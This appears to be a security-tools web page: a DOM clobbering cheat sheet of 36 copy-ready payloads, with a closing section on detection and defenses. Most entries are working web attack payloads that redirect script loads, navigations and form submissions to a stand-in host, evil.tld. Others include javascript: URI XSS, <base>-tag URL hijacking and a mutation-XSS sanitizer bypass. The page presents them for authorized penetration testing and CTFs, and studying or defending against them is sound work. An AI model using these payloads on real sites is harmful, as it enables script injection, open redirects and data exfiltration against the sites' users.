DOM Clobbering Cheat Sheet

DOM clobbering payloads that overwrite JavaScript variables via id/name attributes — gadget chains, sanitizer bypass, and defenses for HTML-injection where scripts are blocked. (36 payloads)

Try it interactively with the XSS Sandbox

Core Mechanics: Named Access

(6)

<a id=x href="https://evil.tld"></a> → x === window.x === the <a> element

Any element with an id attribute is exposed as a same-named property on window (named access on the global). If JS reads an undeclared global like `if (window.x)` or `x.something`, attacker HTML can define it as a DOM node instead of the expected value.Named access applies to id on ANY element, and name on a fixed set (form, img, embed, object, iframe, etc.). This is spec behaviour, not a bug.

<form id=config><input name=apiUrl value="//evil.tld"></form> → config.apiUrl.value

An id'd <form> is reachable as document.config / window.config, and its named child controls become properties of the form element. config.apiUrl returns the <input>, so config.apiUrl.value yields an attacker string — clobbering a nested object property in one shot.Form controls (input, select, textarea, button) are exposed on the form by their name/id via the form.elements named getter.

<img name=getElementById> → document.getElementById is now the <img>, not the function

name/id on document-accessible elements can shadow document properties too. Clobbering document.getElementById, document.querySelector, etc. with an element breaks code that calls them and can be weaponised when the result is treated as truthy.document named access is narrower than window's but still covers img, form, embed, object, and named iframes.

<a id=x></a><a id=x name=y href="javascript:alert(1)"></a> → x is an HTMLCollection; x.y is the 2nd anchor

Two elements sharing an id (or id+name) produce an HTMLCollection instead of a single node. Named access into that collection (x.y) returns the element whose name/id equals the key, letting you build one more level of nesting without a container element.This collection trick is the backbone of multi-level gadget chains — see the chaining category.

<button id=submit> inside a form → form.submit is the button, breaking form.submit()

Naming a control 'submit' (or 'action', 'reset') clobbers the form's own method/property of that name. form.submit() throws because form.submit is now an element — a classic logic-breaking primitive and a DoS/redirect lever.Reserved-looking names (submit, length, item, namedItem) overwrite real members of HTMLFormElement / HTMLCollection.

var x = window.x || {}; → becomes the clobbered element when x is undefined

The vulnerable pattern is reading a global/document/window property that the developer expects to be undefined-then-defaulted, or to hold a config object/URL/function. Clobbering supplies a value (an element or a string from .value/.href) before the developer's code sets it.DOM clobbering only matters when script injection is blocked but HTML injection is allowed (e.g. behind a strict CSP or a sanitizer that strips <script>).

Value-Coercion Gadgets (turning nodes into strings/URLs)

(6)

<a id=cdnUrl href="https://evil.tld/x.js"></a> → String(cdnUrl) === 'https://evil.tld/x.js'

An anchor element stringifies to its href via toString/the href getter, so code like `s.src = window.cdnUrl` or `fetch(cdnUrl)` uses your URL. The browser resolves href to an absolute URL, which is ideal for hijacking script sources, fetch targets, and redirects.<a> and <area> are the go-to elements when the sink expects a URL string.

<a id=cfg href="javascript:alert(document.domain)"></a> → location = cfg.href / x.src = cfg

When the sink later assigns the clobbered value to a navigational property (location, location.href, anchor.href, iframe.src) a javascript: URI fires — turning a clobbered config value into script execution despite CSP blocking inline <script>.Modern CSP often allows javascript: navigations only when 'unsafe-inline'/no navigate-to is set; test the sink before relying on it.

<form id=token><output name=value>SECRET_OVERRIDE</output></form> → token.value coerces via the form named getter

When code reads obj.value, give it a control whose name/id is 'value'. <output>, <input>, and <select> expose a .value; combined with a form wrapper you control token.value precisely, useful for CSRF-token / nonce / feature-flag overrides.Prefer <input value=...> for a clean string; <output>'s value reflects text content.

<a id=length href=#></a><a id=length></a> → length becomes an HTMLCollection (length property = 2)

Some code branches on numeric/length checks (`if (cfg.length > 0)`). A duplicated-id HTMLCollection has a real numeric length you control by adding more elements, letting you satisfy or break length/array-like guards.HTMLCollection also has .item() and .namedItem() — both can be clobbered or used for indexing.

<base href="https://evil.tld/"> → relative script/img/fetch URLs now resolve to evil.tld

A <base> tag is not classic named-access clobbering but is the same threat model (HTML-only injection): it rebases every relative URL on the page, hijacking dynamically inserted relative <script>/<img>/fetch sources to an attacker origin.Mitigated by CSP base-uri 'self'/'none'. Sanitizers that allow <base> are dangerous.

<iframe name=self srcdoc="<script>top.x=1</script>"></iframe> → window.self / named frame access

A named iframe is exposed as window[name] and as a frame; clobbering self/top/parent/frames or a script-expected global frame name can redirect contentWindow reads or supply an attacker-controlled window proxy.Cross-origin srcdoc/script restrictions apply; same-origin srcdoc is the powerful case.

Multi-Level Gadget Chains (a.b.c)

(5)

<form id=a><form id=a name=b><input id=b name=c value=PWN></form></form> → a.b.c.value

Reaching nested properties (config.api.url) needs layered named access. Duplicated ids collapse to an HTMLCollection, then named access selects a child, and a final control exposes .value/.href — building a.b.c without each level existing as a real object.Nesting actual <form> elements is invalid HTML and sanitizers may flatten it; the HTMLCollection technique avoids real nesting.

<a id=x><a id=x name=y href="https://evil.tld"></a> → x.y === the 2nd anchor; x.y reachable as a 2-level chain

The canonical 2-level clobber: first id creates a single element, the duplicate promotes x to an HTMLCollection, and name=y exposes x.y. Read x.y.href or String(x.y) for a string. Extend with more duplicated keys for deeper chains.Works for window.x.y, document.x.y where named access bridges each hop.

<form id=cfg><input name=a><form name=a><input name=b value=...></form></form> (collection on cfg.a → cfg.a.b)

Mixing form named access with duplicate names gives cfg.a as a collection of controls, then cfg.a.b descends another level. This is how real-world 3-level config gadgets (e.g. settings.feature.enabled) get clobbered.Test the exact element/name interplay in DevTools — collection ordering and named getters differ subtly across browsers.

<input id=x><input id=x name=attributes> → x.attributes clobbers the NamedNodeMap accessor

Clobbering built-in element/collection members (attributes, namedItem, item, nextSibling) inside a collection lets you hijack traversal/property lookups that sanitizers and frameworks rely on, occasionally bypassing element-walking sanitizers.DOM-walking sanitizers historically broke when childNodes/nextSibling/attributes were clobbered — see sanitizer bypass.

window.__proto__ is NOT clobberable, but window.foo.bar where foo is undefined IS

Clobbering targets own-property/named-access reads, not prototype chains directly. The reliable primitives are: defining an undefined global, shadowing a document/window member, and supplying nested values via collections — not polluting Object.prototype (that's prototype pollution, a separate bug class).DOM clobbering and prototype pollution are often confused — they compose well but are distinct primitives.

Sanitizer & Filter Bypass

(6)

<a id=defaultAvatar href="//evil.tld/x"></a> (no <script>, no on* handlers)

DOM clobbering payloads contain only benign-looking tags and attributes (id, name, href), so HTML sanitizers that strip <script>/event handlers but allow id/name/href let them through. The attack is the chosen sink in the app's own JS, not the markup.This is the core reason DOM clobbering matters: it survives sanitizers built to stop XSS.

DOMPurify default config ALLOWS id and name → clobbering passes unless SANITIZE_NAMED_PROPS / ALLOW_* is tuned

Out-of-the-box DOMPurify keeps id and name attributes. Use SANITIZE_NAMED_PROPS:true (prefixes named props to neutralise clobbering) or strip id/name via FORBID_ATTR. Versions before that option shipped were clobberable by default.Always pin the DOMPurify version and review its config — clobbering bugs in apps usually trace to permissive sanitizer settings.

<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=...> (mutation/mXSS to smuggle nodes)

Namespace-confusion / mutation XSS can resurrect dangerous nodes after sanitization; combined with clobbering, a sanitizer that mis-parses MathML/SVG foreign content may reparent attributes so that an id/name lands where it clobbers a sink. Test parser round-trips.mXSS and clobbering are complementary — mutation gets nodes past the filter, clobbering weaponises the benign survivors.

<template id=x><script>...</script></template> → inert content survives some sanitizers

<template> content is inert (not rendered/executed) yet still parsed and id-accessible. Sanitizers that walk only rendered DOM may miss template contents, and the template element itself clobbers via its id while hiding payload nodes inside .content.template.content is a DocumentFragment; named access on the template id still works.

id=USERNAME with mixed case / Unicode → named access is case-sensitive for the property key

Property name matching for named access uses the exact id/name string, so allowlist filters that lowercase or normalise differently than the JS sink can be evaded — match the precise global/property the code reads (e.g. apiURL vs apiUrl).Read the target JS first; clobbering only works when the key exactly matches the property the sink dereferences.

Sanitizer API (built-in): new Sanitizer() / element.setHTML() — verify it drops id/name for your sink

The native HTML Sanitizer API focuses on script/handler removal and does not inherently stop clobbering of id/name-based gadgets. Treat it like DOMPurify: confirm whether your config strips id/name before assuming clobbering is mitigated.setHTML()/Sanitizer is shipping across browsers — re-test gadgets after migrating from DOMPurify.

Real-World Sinks & Exploitation Patterns

(6)

Sink: let s=document.createElement('script'); s.src=window.config.cdn; document.head.append(s)  →  clobber window.config.cdn with an <a> chain

Dynamic script loading from a 'config' global is the highest-impact sink: clobber the URL to your origin and you get full script execution under the page's origin, defeating CSP allowlists that trusted the original CDN value.Grep target JS for createElement('script'), .src =, import(), and reads of undeclared globals.

Sink: location = window.redirectUrl || '/' → <a id=redirectUrl href="javascript:..."> or open redirect

Navigation sinks reading a clobberable global give open-redirect or javascript:-URI XSS. Provide href as an external URL (open redirect) or a javascript: URI (DOM XSS) depending on what the navigation accepts.Combine with the open-redirect generator to craft and validate redirect payloads.

Sink: el.innerHTML = window.tpl  /  $(window.widgetHtml).appendTo(...)  →  clobber to an element whose stringification is markup

If a template/HTML string is read from a clobberable global, supply an element/collection whose toString yields markup (e.g. an anchor href) or chain to an .value control, then the HTML sink renders attacker content — escalating to full XSS.jQuery's $(x) HTML detection and innerHTML assignments are frequent clobberable sinks.

Analytics/feature-flag gadget: if (window.FEATURES && window.FEATURES.debug) {...}  →  <form id=FEATURES><input name=debug value=1>

Boolean/feature-flag checks against undeclared globals are easy clobber wins: define the object as a form and its children as named controls to flip flags, enable debug UIs, or trigger code paths the app assumes are off.Low severity alone but a useful pivot to reach hidden sinks.

Library gadgets: clobber a global the framework reads at init (e.g. window.__INITIAL_STATE__, hydration globals)

SPA hydration and config bootstraps read globals before user code runs; clobbering them can poison initial state, base URLs, or API endpoints across the whole app. Inspect the bundle for window.* reads during bootstrap.Use a JS deobfuscator / scanner on the bundle to find clobberable global reads quickly.

Form-action / CSRF gadget: <form id=x action="https://evil.tld"> reachable as x.action when code reads it

Clobbering a form-handling object's action/method changes where a programmatic submit goes, enabling CSRF-style data exfiltration or request forgery when app JS reuses a clobberable form reference.Pairs with logic flaws where the app trusts a DOM-derived submit target.

Detection & Defenses

(7)

Code review: search for reads of undeclared globals and document.X — `Object.keys(window).filter(k=>document.getElementById(k))`

Audit JS for properties read off window/document that are never assigned in code (they can be clobbered). Enforcing strict mode and 'no-undef'/'no-implicit-globals' linting surfaces the exact vulnerable reads.TypeScript with noImplicitAny and explicit window typings also flags many clobberable reads.

Strip id and name in the sanitizer: DOMPurify({SANITIZE_NAMED_PROPS:true}) or FORBID_ATTR:['id','name']

The primary defense for HTML-injection contexts: prevent attacker markup from carrying id/name (or prefix them) so no named-access property is created. This neutralises the entire gadget surface for sanitized user HTML.SANITIZE_NAMED_PROPS namespaces ids/names so they no longer collide with real globals/properties.

Always declare variables: `const config = ...` / `let x;` instead of relying on `window.x`

A declared local/lexical binding shadows named access — `const x = window.x` is still vulnerable, but reading a properly initialised local (never sourced from window/document) cannot be clobbered. Initialise config from a trusted, code-defined source.Freeze critical config with Object.freeze and assign before any user HTML is inserted.

Use explicit DOM APIs: document.getElementById(id) returns null if missing — but capture the function reference early

Prefer explicit lookups over named access; cache built-in functions (const gbi = document.getElementById.bind(document)) before untrusted HTML is parsed so clobbering document.getElementById can't swap the function out from under you.Clobbering can shadow document.getElementById itself — bind/capture it at load time.

Set CSP base-uri 'none' (or 'self') and a strict default-src to blunt <base> and script-source hijacks

Even though CSP doesn't stop named-access clobbering, base-uri 'none' kills <base>-tag URL rebasing, and a nonce/hash strict CSP limits the script-loading sinks attackers reach via clobbered URLs.Run the policy through a CSP evaluator; missing base-uri is a common gap that enables <base> attacks.

Test harness: inject candidate gadgets, then read the target global in console — `<a id=TARGET href=//x>` then `typeof window.TARGET`

Confirm clobbering empirically: insert the minimal gadget into the sanitized output and inspect whether window.TARGET / document.TARGET resolves to your element. Automate with a headless browser over the app's actual sanitizer config.Re-run after every sanitizer/library upgrade — clobberability changes with config and parser behaviour.

Lint rule: forbid implicit globals; build step: bundle in strict mode; runtime: 'use strict' at module top

Strict mode turns silent global reads into errors in many cases and prevents accidental implicit globals, shrinking the clobberable surface. Combine with module scoping (ESM) so app code never exposes config on window.ESM modules don't leak top-level bindings to window, removing a whole class of clobberable globals.

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Cheat Sheets

XSS Cheat Sheet Prototype Pollution Cheat Sheet CSP Bypass Cheat Sheet

Frequently asked questions

What is the DOM Clobbering Cheat Sheet?+

It's a quick-reference collection of 36 DOM Clobbering payloads for testing DOM Clobbering vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these DOM Clobbering payloads?+

Copy any payload straight into your authorized test, or use the XSS Sandbox to apply them interactively. Only test systems you have explicit permission to assess.

Are these DOM Clobbering payloads free to use?+

Yes — this cheat sheet and all DOM Clobbering payloads are completely free, with no account required. Everything runs in your browser.

$loading...

Frequently asked questions

What is the DOM Clobbering Cheat Sheet?+

How do I use these DOM Clobbering payloads?+

Copy any payload straight into your authorized test, or use the XSS Sandbox to apply them interactively. Only test systems you have explicit permission to assess.

Are these DOM Clobbering payloads free to use?+

Yes — this cheat sheet and all DOM Clobbering payloads are completely free, with no account required. Everything runs in your browser.

DOM Clobbering Cheat Sheet

Core Mechanics: Named Access

Value-Coercion Gadgets (turning nodes into strings/URLs)

Multi-Level Gadget Chains (a.b.c)

Sanitizer & Filter Bypass

Real-World Sinks & Exploitation Patterns

Detection & Defenses

Related Tools

Related Cheat Sheets

Frequently asked questions

DOM Clobbering Cheat Sheet

Core Mechanics: Named Access

Value-Coercion Gadgets (turning nodes into strings/URLs)

Multi-Level Gadget Chains (a.b.c)

Sanitizer & Filter Bypass

Real-World Sinks & Exploitation Patterns

Detection & Defenses

Related Tools

Related Cheat Sheets

Frequently asked questions